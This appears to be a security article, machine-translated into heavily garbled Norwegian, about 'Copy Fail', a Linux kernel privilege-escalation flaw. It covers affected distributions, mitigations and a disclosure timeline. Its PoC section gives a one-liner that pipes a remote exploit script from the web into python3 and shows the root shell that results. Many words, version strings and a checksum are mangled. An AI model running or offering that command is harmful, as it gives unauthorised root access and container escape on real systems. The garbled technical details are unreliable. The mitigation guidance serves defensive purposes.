Norsk

← Tilbake til listen

732 byte for å drepe Linux: den episke loophole er nesten ti år unna.

itadol5j

Kopier feil sløyfehull

Poesi loophole: 732 bytes drepte alle Linux, lurer i nesten 10 år

Et navn.“Kopier feil”Kjernen i Linux (CVE-2026-314331) ble offentlig beskrevet:

  • 732 bytesPython- skript
  • 100% pålitelig, ingen konkurransedyktig vindu eller kjerne offset
  • Effekter alle Linux-utgivelser versjon(2017 til dato)
  • Beholderen slipper unna.Cross-tenant angrep.
  • Jeg har lurer i nesten 10 år.Inntil 29. april 2026

Same manus iUbuntu, RHEL, Amazon Linux, SUSEBegge er gyldige — ingen endringer er nødvendig.

Kjernen i hullet

Enkelt logiske mangler

Kopifeil er énStraight-line logiske feil:)

  • Ingen konkurransedyktig vindu krevesI motsetning til de fleste Linux LPE, må du konkurrere.
  • Ingen kjerne forskyvning nødvendig.: Ingen bestemt kjerneforskyving kreves
  • 100% påliteligAndre arrangører
  • Same skriptgyldig for alle distribusjoner

Holekjede.

Kopier feil angrepskjede:

  • Logisk feilEn logisk feil
  • AF ALG: Gjennom kjerne krypto API
  • Spice(): Kjedesamtale
  • 4 byte side-cache skrivingEndelig angrep på det opprinnelige språket
  • Tilgjengelig i nesten 10 årFra 2017 til oppdatering

• Effektomfang

Offisielt sertifisert utgivelse

Utgivelse Kjerneversjon Status
Ubuntu 24.04 LTS 6.17.0-1007-såger ✅ Bekreftet
Amazon Linux 2023 6.11.8-9.213. amzn 2023 ✅ Bekreftet
RHEL 10.1 6.12.0-124.5.1.el10 1 ✅ Bekreftet
SUSE 16 6.12.0-1600-standard ✅ Bekreftet

Andre berørte utgaver

Følgende utgaveDet samme.:)

  • Debian.
  • Arch Linux.
  • Fedora.
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Innebygd Linux

KonklusjonerHvis kjernen er bygget mellom 2017 og patch...Du er berørt.Jeg vet ikke.

Høyrisikoscenarie

scene Risiko Effekt
Flere leieleie Linux Host Høy Enhver bruker blir root
Kubernetes / Container Cluster Høy Cross-container, kryss-tenant angrep
CI Runner / Build Farm Høy PR blir rot til løper
Cloud SaaS kjører brukerkode Høy Leiemann blir vertsrot
Standard Linux server Middels Intern LPE, kjedeangrep.
En bruker notesbok Lav Etter infiltrering

Mitigasjon

Alternativ 1: Oppdatering av kjerne (anbefalt)

Oppdater kjernen til å inkludereJeg beklager, hovedlinjegruppe a664bf3d603dAndre arrangører

  • Løs innhold: Angre algif foran på plass optimalisering i 2017
  • Effekter:page-cache siden vises ikke lenger på skrivelig
  • Status: De fleste mainstream-utgavene har utgitt flekker

Alternativ 2: Deaktiver algif aead modul (tidligere)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Deaktiver effekten av algif foran

Komponent Effekt
dm-krypt/LUKS Ingen innvirkning
kTLS / IPsec Ingen innvirkning
OpenSSL/SSL Ingen innvirkning
AF ALG Userspace Mulig innvirkning

KonklusjonerDeaktiver algif aead for de fleste systemerIngen åpenbar effekt.Jeg vet ikke.

Program 3: Seccomp Stop AF ALG

For upålitelige arbeidsbelastninger (inneholdere, sandkasser, CI), hindre AF ALG-kontakt fra å skape:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀Poc-presentasjon

PoC har blitt offentliggjort for valideringssystemer:

Hurtigkjøring

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PC- detaljer

  • Filstørrelse:732 bytes
  • Språk: Python 3.10+ kun stdlib
  • Standardmål:/usr/bin/su
  • Tittenfick256: a567d09b15f6e4440e70c9f2a8edec559f53301952df05c7a3911687f9

Advarsel: skript for å endre sidestørrelse på skript binær; endringen varer ikke etter omstart, men rot skall er ekte. Ikke løp i produksjonsmiljøet.

• Avsløring av tidslinjer

Dato Events
2026-03-23 Rapport til Linux Kernel Security team
2026-03-24 Første bekreftelse
2026-03-25 Patch forslag og revisjon
2026-04-01 Patch tomainline
2026-04-22 CVE-2026-314331 Fordeling
2026-04-29 Offentliggjøring

Grunnlegger: Xint Code

Hole byXint-kodeFunnet:

  • Søketid: ca. 1 time skanning Linux krypto / delsystem
  • Finn metode: AI drevet kode revisjon
  • Fullstendig analyse: rotårsak, diagrammer, impraator program
  • Andre funnAndre høy-nivå kritiske hull er også identifisert og er fortsatt koordinert for utlevering

Xint-kode

  • 0-dagers RCE: ZeroDay Cloud, feie database kategorier (Redis, PostgreSQL, MariaDB)
  • DARPA AuxCC Topp 3:Darpa AI Cyber Challenge final
  • DEF CON CTF 9x: DEF CON CTF vinnerlaget i historien

Sammendrag

Copy Fail (CVE-2026-314331)episk Linux kjernehull:)

  • 732 Byte Drep alle Linux (siden 2017)
  • 100% pålitelighet, enkelt logisk defekt
  • Beholderen unnslipper. Cross-tainer angrep.
  • Det har vokst i nesten 10 år til 29. april 2026.
  • Høy risiko scenario: multi-rent hjemme eierskap maskin, beholder klynge, CI Runner, SaaS
  • Mitigation: Oppdater eller forby kjernealgif aead
  • Grunnlegger: Xint Code, AI driver revisjon

Nesten ti år med episke hull, et manus dreper alle Linux.

Fragmentasjonsnettverk:)https://copy.fail

GitHub PoC:)https://github.com/theori-io/copy-fail-CVE-2026-314331

Teknisk analyse:)https://xint.io/blog/copy-fail-linux-distribusjoner

Kernel Patch:)https://git.kernel.org/stabil/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5